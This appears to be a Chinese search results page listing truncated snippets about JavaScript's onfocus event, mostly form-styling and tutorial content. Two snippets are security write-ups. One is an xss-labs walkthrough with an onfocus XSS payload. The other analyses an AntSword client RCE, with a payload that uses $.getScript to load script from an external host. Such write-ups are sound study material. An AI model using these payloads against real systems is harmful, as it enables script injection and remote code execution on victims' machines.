首页
学习
活动
专区
工具
TVP
发布
您找到你想要的搜索结果了吗?
是的
没有找到

JS如何为表单聚焦控件设置醒目的样式

/js/26-set-form-style/) 原生Js实现 如下是简易示例代码,要想实现这一个效果,必须要知道onfocus和onblur,前者是聚焦回调事件,而后者是控件失去焦点回调 在一个网页里...,永远都只能有一个控件获得焦点,因此需要遍历所有的控件,为它们定义相同onfocus以及onblur逻辑 当控件获得焦点时,为它设置独特边框样式,否则就恢复原有的边框样式 function init...e.onfocus = function() { // 定义聚焦样式回调 // 修改边框红色 this.style.border =...lang="scss" scoped> .wrap { text-align: center; margin: 20px 0 20px 0; } 总结 无论是原生js...还是Vue版本实现,都需要使用onblur(input框失去焦点)与onfocus(input框聚焦焦点),实现核心原理都是相似的,只是在框架里去控制,表现形式有些不一样

7.1K50

9.6,*少芳-学习笔记【web前端零基础课】

【9.4 日常总结】 做了啥: 在学习一些js内容后,完成了一部分网站首页动作设置(搜索栏、侧边栏、轮播图),对js代码进行了封装,重新整理了js文件。...(index.js\main.js) 学了啥: 1.JavaScript语法初步 - 函数(函数类型、函数声明与执行、函数封装在网页上应用……) - 常用事件...(onclick, onfocus, onblur, onmouseover, onmouseout) - 数组(创建、显示、常用方法push\splice……)...- 对象(定义、创建两种方法、添加对象、循环显示for in……) - 对节点操作(创建节点、获取节点、节点内容设置、节点子节点、节点拼接、节点属性……) 2.电商网站动作设置...- 搜索栏默认内容显示与消失(onfocus,onblur,属性设置) - 侧边导航栏子导航显示与消失(onmouseover,onmouseout)

54070

【xss-labs】xss-labs通关笔记(一)

但是在下方标签中我们提交代码成功对引号和标签进行了闭合,这样浏览器就能成功执行js代码了。...keyword='onfocus=javascript:alert('xss') > //&submit=搜索 ? 结果发现并没有直接弹窗,这是因为onfocus事件特殊性造成。...果然没有那么简单,这里居然对onfocus这一类事件字符也进行了防范。那么这样的话还能怎么执行js代码进行弹框呐?...从刚才响应来看提交javascript字符并没有被过滤或者转义等,所以此处既然无法通过标签或触发事件来执行js代码的话,那么可以换一个标签来执行js代码。...从此时页面响应可以看到出现了一个xss字样链接,点击该链接即可触发执行弹窗js代码,如下 ? 最后看看源文件代码 ?

6.9K30

蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临

新加上用来过滤noxss函数 在source/app.entry.js文件中 这里很明显使用了JS替换,而我们能看到替换内容,其实也就是类似于进行了html实体编码 接着问题来了,它过滤了尖括号和双引号...首先我们需要找到一个标签之内可以XSS地方 我们发现它调用了dhtmlx框架 接着我们来看这个UI框架 通过分析,该框架dhtmlxtoolbar.js文件有点儿小毛病 文件地址: https:...onfocus: 当input自动获取焦点时会触发事件。 那么我们在input标签中包含一个autofocus属性(让它自动获取焦点)。 然后自动触发onfocus事件内Js脚本。...我们需要缩短payload长度 我们可以使用外部引用,因为蚁剑使用了jquery,故可以使用$.getScript来引用外部js脚本,虽然文件夹名中不可含有//,但我们可以使用unescape代码对payload...进行加密 最终 Payload: 'autofocus onfocus=$.getScript(unescape('http%3A%2f%2fxxx.in%2f2Yuo%0A'));' Xss平台那边

1.7K20

JavaScript进阶教程(5)-一文让你搞懂作用域链和闭包

1 作用域 在JS中变量可以分为局部变量和全局变量,对于变量不熟悉可以看一下我这篇文章:搞懂JavaScript全局变量与局部变量,看这篇文章就够了 作用域就是变量使用范围,分为局部作用域和全局作用域...在 ECMAScript 2015 引入let 关键字之前,js中没有块级作用域---即在JS中一对花括号({})中定义变量,依然可以在花括号外面使用。...3 预解析 JS代码在浏览器中是由JS引擎进行解析执行,分为两步,预解析和代码执行。...预解析分为 变量预解析(变量提升) 和 函数预解析(函数提升),浏览器JS代码运行之前,会把变量声明和函数声明提前(提升)到该作用域最上面。....html 这是因为赋值给 onfocus 是闭包。

29652

input 事件

大家好,又见面了,我是你们朋友全栈君。...input 事件 1.onfocus 当input 获取到焦点时触发 2.onblur 当input失去焦点时触发,注意:这个事件触发前提是已经获取了焦点再失去焦点时候会触发相应js 3.onchange...当input失去焦点并且它value值发生变化时触发 4.onkeydown 在 input中有键按住时候执行一些代码 5.onkeyup 在input中有键抬起时候触发事件,在此事件触发之前一定触发了...onkeydown事件 6.onclick 主要是用于 input type=button,当被点击时触发此事件 7.onselect 当input里内容文本被选中后执行一段,只要选择了就会触发,不是非得全部选中...// 8.oninput 当inputvalue值发生变化时就会触发,不用等到失去焦点(与onchange区别) <input type="text" onfocus="a();" onblur

1.6K20

扫码

添加站长 进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

    运营活动

    活动名称
    广告关闭
    领券